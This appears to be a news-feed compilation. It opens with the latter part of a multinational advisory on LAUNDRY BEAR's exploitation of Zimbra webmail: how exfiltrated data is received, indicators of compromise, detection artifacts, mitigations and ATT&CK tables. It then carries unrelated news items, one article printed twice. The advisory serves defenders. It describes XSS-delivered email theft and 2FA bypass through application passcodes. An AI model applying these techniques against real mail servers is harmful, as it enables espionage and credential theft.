The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in Figure 6 and Figure 7. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:

Time,
Source IP address,
Request method,
Host,
Path,
Query string,
Headers, and
Base64 payload.

These JSON event log files and binary output files are then initially saved to the directory /root/hits/tmp and later moved to the /root/hits/ready directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in Figure 8 also executes hourly to remove all files last modified at least two days ago from the /root/hits/ready directory.





  
      




      Figure 8: Command used for automated directory cleanup
  
Response strategies
Mitigations
In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.
All organizations that use the ZCS webmail service should immediately prioritize ensuring that their ZCS is not running a vulnerable version. A patch for CVE-2025-66376 was released for both 10.1.13 and 10.0.18 versions of ZCS [D3-AH]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [d3f:Isolate].
System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [D3-AH]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including CISA’s Known Exploited Vulnerabilities Catalog and NCSC-UK’s Responding to active exploitation of vulnerabilities guidance.
Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [D3-CH]. However, Application Passcodes may still be necessary and should be monitored closely.  
Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [CPG 3.Q]. This will allow organizations to monitor for and identify suspicious network activity [CPG 4.B], such as:

Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [D3-NTA];
Frequent DNS queries for a suspicious domain with seemingly random subdomains [D3-DNSTA];
A sudden spike of connections to a server associated with a recently established domain [D3-NTCD]; and  
Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [D3-NTCD].

Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the Exfiltration section of this advisory.
Indicators of compromise (IOCs)
Flowerbed infrastructure
The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (Disclaimer: Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) Table 7 provides details about the server infrastructure used to host Flowerbed, and Table 8 lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [D3-IAA].


Table 7: Flowerbed server infrastructure





Domain 






IP Address 






First Seen 






Last Seen 










zmailanalytics[.]com 






216.252.238[.]104 






8 July 2025 






15 October 2025 








zimbra-metadata[.]com 






216.252.238[.]18 






20 August 2025 






14 October 2025 








analyticemailmeter[.]com 






37.120.247[.]228 






24 September 2025 






18 March 2026 








emailanalytics.com[.]ua 






185.86.79[.]95 






24 September 2025 






18 March 2026 








mailnalysis[.]com 






104.248.134[.]194 






11 November 2025 






17 February 2026 








zimbrastat[.]com 






64.226.124[.]190 






18 December 2025 






18 March 2026 








zimbrasoft.com[.]ua 






193.238.152[.]66 






20 January 2026 






18 March 2026 








synacorzimbra[.]nl 






216.252.238[.]64 






3 February 2026 






30 March 2026 








istc-cloud[.]com 






194.156.103[.]193 






5 February 2026 






30 March 2026 








Table 8: Flowerbed X.509 certificate SHA-1 hashes  





Associated Domain 






X.509 SHA-1 Hash 






First Seen 






Last Seen 










zmailanalytics[.]com 






2e4f314bc9943cab5005d6fde0b271c74d47bc9d 






8 Jul 2025 






6 Aug 2025 








*.i.zmailanalytics[.]com 






50a87d926621dd06389ba50d86e0ff574ed713a8 






6 Aug 2025 






13 Oct 2025 








*.i.zimbra-metadata[.]com 






c5a72420e7bb308d078e62128430897f82194c95 






20 Aug 2025 






14 Oct 2025 








*.i.analyticemailmeter[.]com 






8959c4d29e29f02ea94ea8bb21c8df2594c5549d 






24 Sep 2025 






8 Nov 2025 








*.i.emailanalytics.com[.]ua 






62eb76432597694edb01c1fe57aab0cfe03a7178 






25 Sep 2025 






27 Sep 2025 








*.i.mailnalysis[.]com 






cddf5c3be1e07f28140aed165b929bf2d614922a 






12 Nov 2025 






17 Dec 2025 








*.i.zimbrastat[.]com 






18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 






18 Dec 2025 






28 Dec 2025 








*.i.zimbrasoft.com[.]ua 






1b25041ececf2457eef0270fc1d785cec8ec9ded 






21 Jan 2026 






10 Feb 2026 








*.i.synacorzimbra[.]nl 






e4fe6466a4f9a4249fe330651e914e45bbdca44a 






5 Feb 2026 






22 Mar 2026 








*.i.istc-cloud[.]com 






b6b77c9a455225d525834a403ca9ef5481ed0447 






12 Feb 2026 






30 Mar 2026 






LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:

ivanka.zurabishvili@proton[.]me,
zmul1@buildandconsulting[.]com,
garrysmithme@pinmx[.]net, and
hostingclient@pinmx[.]net.

Phishing distribution
LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  
The following email addresses have distributed payloads attributed to this campaign:

c.laurent.ejfa@proton[.]me,
j.moreau.epsc@proton[.]me,
liberty.insights@proton[.]me,
certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and
certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).

Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:

98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,
60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,
b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and
1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.

Post-compromise artifacts
Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.
This Ulej capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the /opt/zimbra/log/mailbox.log file [D3-PA]. A significant amount of SOAP request activity that aligns with what was described in the Persistence and credential access and Collection sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:

Many SearchGalRequest command requests from a single user over a short period of time;
Use of the CreateAppSpecificPasswordRequest command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and
Use of the GetScratchCodesRequest command.

While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [D3-PA]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of zd_comp_YYYY-MM-DD, as explained in the Collection section of this advisory.
While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”
In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [D3-MA]. If an email that has a payload exploiting CVE-2025-66376 is discovered, steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  
Remediation
In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to CVE-2025-66376.
Organizations should use identifiers from the IOCs section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.
All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [CPG 3.B] and creating unique credentials [CPG 3.C], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.
Works cited
[1] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf
[2] Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/
[3] Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. https://unit42.paloaltonetworks.com/russian-webmail-espionage/ 
[4] Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit
[5] Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  
Footnotes
¹ Národní úřad pro kybernetickou a informační bezpečnost
²Forsvarets Efterretningstjeneste
³Välisluureamet
⁴ Sotilastiedustelu
⁵ Suojelupoliisi
⁶ Direction générale de la sécurité intérieure
⁷ Agence nationale de la sécurité des systèmes d’information
⁸ Agenzia Informazioni e Sicurezza Esterna
⁹ Agenzia Informazioni e Sicurezza Interna
¹⁰ Serviciul de Informații și Securitate al Republicii Moldova
¹¹Agencja Wywiadu
¹²Służba Kontrwywiadu Wojskowego
¹³Centro Nacional de Inteligencia
¹⁴Nationellt Cybersäkerhetscenter
¹⁵ MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.
Acknowledgements
The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.
Disclaimer of endorsement
The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.
Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.
Purpose
This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.
Contact


United States organizations 

National Security Agency 
Cybersecurity Report Feedback: CybersecurityReports@nsa.gov 
Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov 
Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov 
Cybersecurity and Infrastructure Security Agency 
CISA’s 24/7 Operations Center (contact@cisa.dhs.gov), or by calling 1-844-Say-CISA (1-844-729-2472). 
Federal Bureau of Investigation 
If you or someone you know has fallen victim to this campaign, file a complaint with IC3. 
Defense Counterintelligence and Security Agency  
DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: DCSA.CI.CyberOps@mail.mil 
Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. 
Media/Public Inquiries: dcsa.quantico.dcsa-hq.mbx.pa@mail.mil  
Department of Defense Cyber Crime Center  
Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil 
Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil 
Media Inquiries / Press Desk: DC3.Information@us.af.mil 
Naval Criminal Investigative Service 
To report criminal activity impacting the United States Navy, go to www.ncis.navy.mil and click “Submit a Tip”

Dutch organizations 

Defence Intelligence and Security Service (MIVD): https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid  
General Intelligence and Security Service (AIVD): https://www.aivd.nl 

Australian organizations 

Australian Signals Directorate 
Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. 

Canadian organizations 

The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  
Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788). 

New Zealand organizations 

New Zealand National Cyber Security Centre (NCSC-NZ): info@ncsc.govt.nz 

United Kingdom organizations 

Report significant cyber security incidents to ncsc.gov.uk/report-an-incident (monitored 24/7) 

Estonia organizations 

Estonian Foreign Intelligence Service (EFIS): info@valisluureamet.ee 

Finnish organizations 

Finnish Security and Intelligence Service: supo.fi/en/contact 

French organizations 

French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18. 

Italian Organizations 

Italian External Intelligence and Security Agency (AISE):  
Visit https://www.sicurezzanazionale.gov.it/  
Italian Internal Intelligence and Security Agency (AISI):  
Visit https://www.sicurezzanazionale.gov.it/ 


Moldovan organizations 



Security and Intelligence Service of the Republic of Moldova (SIS RM): cybersec@sis.md 


Polish organizations 

Polish Foreign Intelligence Agency (AW): ctiteam@aw.gov.pl



Appendix A: MITRE ATT&CK tactics and techniques
See Table 9 through Table 19 for all the threat actor tactics and techniques referenced in this advisory.



Table 9: Reconnaissance 





Technique Title 






ID 






Use 










Gather Victim Identity Information: Credentials 






T1589.001 






The payload attempts to intercept a victim’s password from their password manager. 








Gather Victim Identity Information: Email Addresses 






T1589.002 






The payload attempts to grab the victim’s email address from various data stores. 








Search Open Websites/Domains 






T1593 






This group likely leverages public information to support target development. 








Active Scanning 






T1595 






Port scanning can be used by this group to assist with determining exploitability of identified targets. 








Search Open Technical Databases: Scan Databases 






T1596.005 






Various public datasets can provide information to support discovery of exploitable targets. 








Search Closed Sources 






T1597 






Previously exfiltrated data can be used to enhance target development efforts. 








Search Closed Sources: Purchase Technical Data 






T1597.002 






Commercial datasets can also be used to support target development efforts. 












Table 10: Resource Development 





Technique Title 






ID 






Use 










Acquire Infrastructure 






T1583 






This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. 








Acquire Infrastructure: Virtual Private Server 






T1583.003 






This group procured VPS servers from a variety of vendors. 








Develop Capabilities 






T1587 






The Ulej capability was developed likely for use by this group to conduct spear phishing campaigns. 








Develop Capabilities: Malware 






T1587.001 






Development of a novel payload that steals a victim’s emails and other sensitive account information. 








Develop Capabilities: Exploits 






T1587.004 






Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. 








Obtain Capabilities: Tool 






T1588.002 






Open source tools, such as Evilginx2, have also been used by the group. 








Obtain Capabilities: Artificial Intelligence 






T1588.007 






The group appears to have leveraged AI to support development efforts. 








Stage Capabilities 






T1608 






Flowerbed is deployed to a procured server in the cloud. 












Table 11: Initial Access 





Technique Title 






ID 






Use 










Valid Accounts 






T1078 






This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  








Trusted Relationship 






T1199 






The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  








Phishing 






T1566 






The actors used spear phishing to lure users into opening malicious email. 












Table 12: Execution 





Technique Title 






ID 






Use 










Exploitation for Client Execution 






T1203 






An XSS vulnerability was leveraged to execute the JavaScript payload. 












Table 13: Persistence 





Technique Title 






ID 






Use 










Account Manipulation 






T1098 






Enabling IMAP and Application Passcodes provides persistent access to the compromised account. 








Modify Authentication Process: Multi-Factor Authentication 






T1556.006 






Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 












Table 14: Privilege Escalation 





Technique Title 






ID 






Use 










Valid Accounts 






T1078 






This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  












Table 15: Stealth 





Technique Title 






ID 






Use 










Obfuscated Files or Information: Command Obfuscation 






T1027.010 






Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. 








Obfuscated Files or Information: Encrypted/Encoded File 






T1027.013 






The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. 








Obfuscated Files or Information: SVG Smuggling 






T1027.017 






The payload was contained in an “onload” attribute within an SVG image included in the malicious email. 








Use Alternate Authentication Material: Web Session Cookie 






T1550.004 






Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. 












Table 16: Credential Access 





Technique Title 






ID 






Use 










Modify Authentication Process: Multi-Factor Authentication 






T1556.006 






Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 








Adversary-in-the-Middle 






T1557 






Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. 












Table 17: Collection 





Technique Title 






ID 






Use 










Data Staged: Remote Data Staging 






T1074.002 






Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. 








Email Collection 






T1114 






This group has emphasized collection of emails. 








Email Collection: Remote Email Collection 






T1114.002 






Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. 








Automated Collection 






T1119 






Upon execution, the JavaScript payload automatically collects all relevant information in stages. 








Browser Session Hijacking 






T1185 






The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. 








Archive Collected Data 






T1560 






Emails are exfiltrated with GZIP compression. 












Table 18: Discovery 





Technique Title 






ID 






Use 










Account Discovery 






T1087 






Stolen Global Access Lists provide the group with new users to target. 












Table 19: Exfiltration 





Technique Title 






ID 






Use 










Exfiltration Over Alternative Protocol 






T1048 






Victim information was exfiltrated over both HTTPS and DNS. 








Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol 






T1048.002 






Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. 








Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol 






T1048.003 






Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. 








Appendix B: MITRE D3FEND countermeasures 
See Table 20 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory. 



Table 20: MITRE D3FEND Countermeasures 





Countermeasure Title 






ID 






Description 










Application Hardening 






D3-AH 







Organizations should immediately prioritize patching CVE-2025-66376.  
Organizations should promptly apply software updates to all email systems. 









Isolate 






d3f:Isolate 






Organizations that cannot feasibly patch should use alternative mail clients. 








Credential Hardening 






D3-CH 






Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. 








Network Traffic Analysis 






D3-NTA 






Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. 








DNS Traffic Analysis 






D3-DNSTA 






Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. 








Network Traffic Community Deviation 






D3-NTCD 







Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. 
Organizations should monitor for connections to internal services, such as webmail, from VPN providers. 









Identifier Activity Analysis 






D3-IAA 






Organizations should search for the listed known IOCs. 








Process Analysis 






D3-PA 







Organizations should search ZCS log files for specific commands used by the malicious script. 
Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. 






Message Analysis
D3-MA
Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.







Kaspersky’s Sustainability report 2024-2025: digital education for everyone
Thu, 23 Jul 2026 16:20:47 +0200
Author: Kaspersky - Bewertung: 0x - Views:3 
Kaspersky explains why different vulnerable groups need different approaches to digital education — from children to elderly people, from non-profit organizations to people with disabilities. Watch to see how we build confidence and resilience in a rapidly changing digital world.



Find more details in the report: https://kas.pr/7jar



#kaspersky #esg #sustainability #cybersecurity #inclusion



Apple Store app might soon get an AI shopping assistant
Thu, 23 Jul 2026 16:08:57 +0200

An AI shopping assistant is coming to the Apple Store app, complete with a chat interface and personalized recommendations. 
(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)


OpenAI Presence raises new questions about enterprise automation and jobs
Thu, 23 Jul 2026 15:20:41 +0200

		
					  
						




OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.



The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.



OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.



Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.



OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.



Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected global systems integrators.



Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.



Workforce impact



OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.



Pareekh Jain, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.



Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.



“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.



The first workforce effect is more likely to be slower hiring than immediate layoffs, according to Tulika Sheel, senior vice president at Kadence International.



“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”



Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.



However, Lian Jye Su, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.



Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.



Cost and operational risks



Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.



“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.



The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but integration and governance,” Jain added.



Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.



Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.



Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.



OpenAI Presence raises new questions about enterprise automation and jobs
Thu, 23 Jul 2026 15:20:32 +0200

		
					  
						




OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.



The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.



OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.



Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.



OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.



Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected global systems integrators.



Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.



Workforce impact



OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.



Pareekh Jain, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.



Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.



“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.



The first workforce effect is more likely to be slower hiring than immediate layoffs, according to Tulika Sheel, senior vice president at Kadence International.



“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”



Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.



However, Lian Jye Su, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.



Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.



Cost and operational risks



Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.



“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.



The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but integration and governance,” Jain added.



Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.



Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.



Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.



This article first appeared on CIO.



Security updates for Thursday
Thu, 23 Jul 2026 15:18:07 +0200
Security updates have been issued by AlmaLinux (acl, dogtag-pki, dovecot, glibc, go-toolset:rhel8, golang-github-openprinting-ipp-usb, grafana, grafana-pcp, httpd:2.4, javapackages-tools:201801, libtiff, mariadb-connector-c, perl-HTTP-Daemon, pki-deps:10.6, and sssd), Debian (bind9, chromium, firefox-esr, and pdns-recursor), Fedora (chromium, collectl, fractal, kernel, libssh, llvm, nginx, nginx-mod-brotli, nginx-mod-fancyindex, nginx-mod-headers-more, nginx-mod-js-challenge, nginx-mod-modsecurity, nginx-mod-naxsi, nginx-mod-vts, perl-DBI, perl-YAML-Syck, and srt), SUSE (7zip, GraphicsMagick, ImageMagick, multipath-tools, perl-YAML, python-sqlparse, python3-sqlparse, python313-bleach, and sssd), and Ubuntu (apache2, commons-beanutils, exim4, gawk, giflib, gst-plugins-good1.0, krb5, libapache-mod-jk, libarchive, libgphoto2, libhtml-parser-perl, linux-aws, linux-aws-5.15, linux-aws-fips, linux-fips, linux-ibm, linux-nvidia, linux-fips, linux-lowlatency, linux-lowlatency-hwe-6.8, linux-oracle, linux-ibm, linux-oracle, linux-ibm-5.15, linux-nvidia, linux-nvidia-6.8, linux-nvidia-lowlatency, linux-nvidia-tegra, linux-nvidia-tegra-igx, linux-oem-6.17, linux-oracle-6.8, python-aiohttp, and tar).


Tom Holland Confirms Fred Astaire Biopic Is His Next Film
Thu, 23 Jul 2026 15:16:57 +0200
Tom Holland has confirmed that his long-awaited Fred Astaire biopic will be his next film, with the actor already preparing for its demanding dance sequences.



Tom Holland plans to perform every dance himself



Holland wants to recreate Astaire’s famous performance style as closely as possible. He plans to complete all the dancing himself without using body doubles.



The actor also hopes the production can film complete dance routines in a single continuous shot. This approach would keep Holland’s full body visible and allow audiences to watch each movement without frequent cuts.



